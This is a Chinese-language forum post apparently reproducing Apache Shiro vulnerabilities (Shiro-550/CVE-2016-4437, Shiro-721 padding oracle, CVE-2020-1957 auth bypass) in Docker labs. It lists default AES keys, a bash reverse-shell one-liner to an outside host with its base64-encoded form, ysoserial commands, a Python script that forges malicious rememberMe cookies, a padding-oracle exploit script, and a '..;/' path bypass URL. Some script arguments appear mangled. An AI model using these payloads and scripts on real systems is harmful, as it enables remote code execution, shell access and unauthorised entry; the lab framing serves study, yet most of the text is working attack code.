智能配送设备 发表于 2025-2-7 02:30:15

Shiro 漏洞复现

Shiro 漏洞复现

shiro是什么?

ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。shiro组件识别

1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。
2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。
Shiro-550(CVE-2016-4437反序列化漏洞)

        shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设        影响版本:Apachee Shiro <= 1.2.4

[*]常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)2AvVhdsgUs0FSA3SDFAdag==4AvVhmFLUs0KTA3Kprsdag==3AvVhmFLUs0KTA3Kprsdag==wGiHplamyXlVB11UXWol8g==Z3VucwAAAAAAAAAAAAAAAA==6ZmI6I2j5Y+R5aSn5ZOlAA==ZUdsaGJuSmxibVI2ZHc9PQ==1QWLxg+NYmxraMoxAXu/Iw==

[*]使用docker搭建环境:
# 拉取镜像docker pull medicean/vulapps:s_shiro_1# 启动容器docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
[*]检测是否存在默认的key
# 工具https://github.com/StarkChristmas/Shiro_exploit# 使用命令python shiro_exploit.py -u http://靶机:端口

[*]这里得到AES秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg==
[*]确认反弹shell语句(在java中要base64编码)
# 原本的语句bash -i >& /dev/tcp/8.8.8.8/6666 0>&1# base64编码(中间要去空格)bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}通过ysoserial这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令
 # `ysoserial下载 https://github.com/frohoff/ysoserial/releasesjava -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
[*]准备一个脚本shiro_poc.py
import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command):    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")    iv = uuid.uuid4().bytes    encryptor = AES.new(key, AES.MODE_CBC, iv)    file_body = pad(popen.stdout.read())    return base64.b64encode(iv + encryptor.encrypt(file_body))if __name__ == '__main__':    if not sys.argv:      print(f'Usage: {sys.argv} <payload>')      sys.exit(1)    payload = encode_rememberme(sys.argv)    print("[+] Payload: ")    print("rememberMe={0}".format(payload.decode()))

[*]脚本生成payload,端口为先前监听的9999
python shiro_poc_test.py 攻击机ip:9999
[*]bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)

[*]成功得到shell
Shir0-721漏洞利用

由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)环境搭建

git clone https://github.com/inspiringz/Shiro-721.gitcd Shiro-721/Dockerdocker build -t shiro-721 .docker run -p 8080:8080 -d shiro-721漏洞利用


[*]登录Shiro测试账户获取合法Cookie(勾选 Remember Me)


[*]如果登录成功则不会设置deleteMe的cookie


[*]如果失败时会设置deleteMe的cookie

[*]反序列化工具ysoserial生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class
[*]创建一个python脚本遍历key,命名为exp.py
from paddingoracle import BadPaddingException, PaddingOraclefrom base64 import b64encode, b64decodefrom urllib.parse import unquoteimport requestsimport socketimport timeimport sysimport loggingclass PadBuster(PaddingOracle):    def __init__(self, **kwargs):      super(PadBuster, self).__init__(**kwargs)      self.session = requests.Session()      # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'      self.wait = kwargs.get('wait', 2.0)    def oracle(self, data, **kwargs):      somecookie = b64encode(b64decode(unquote(sys.argv)) + data)      self.session.cookies['rememberMe'] = somecookie.decode('utf-8')      if self.session.cookies.get('JSESSIONID'):            del self.session.cookies['JSESSIONID']      # logging.debug(self.session.cookies)      while 1:            try:                response = self.session.get(sys.argv, stream=False, timeout=5, verify=False)                break            except (socket.error, requests.exceptions.RequestException):                logging.exception('Retrying request in %.2f seconds...', self.wait)                time.sleep(self.wait)                continue      self.history.append(response)      # logging.debug(response.headers)      if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):            logging.debug('No padding exception raised on %r', somecookie)            return      # logging.debug("Padding exception")      raise BadPaddingExceptionif __name__ == '__main__':    if not sys.argv:      print(f'Usage: {sys.argv} <url> <somecookie value> <payload>')      sys.exit(1)    logging.basicConfig(level=logging.DEBUG)    encrypted_cookie = b64decode(unquote(sys.argv))    padbuster = PadBuster()    payload = open(sys.argv, 'rb').read()    enc = padbuster.encrypt(plaintext=payload, block_size=16)    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))    # print('Decrypted somecookie: %s => %r' % (sys.argv, enc))    print('rememberMe cookies:')    print(b64encode(enc))
[*]使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload

[*]这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换 AES-CBC 为 AES-GCM,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示
Apache SShiro认证绕过漏洞(CVE-2020-1957)


[*]访问http://your-ip:8080/admin/,发现无法访问,会重定向到登录页面

[*]访问http://your-ip:8080/xxx/..;/admin/可以绕过校验
页: [1]
查看完整版本: Shiro 漏洞复现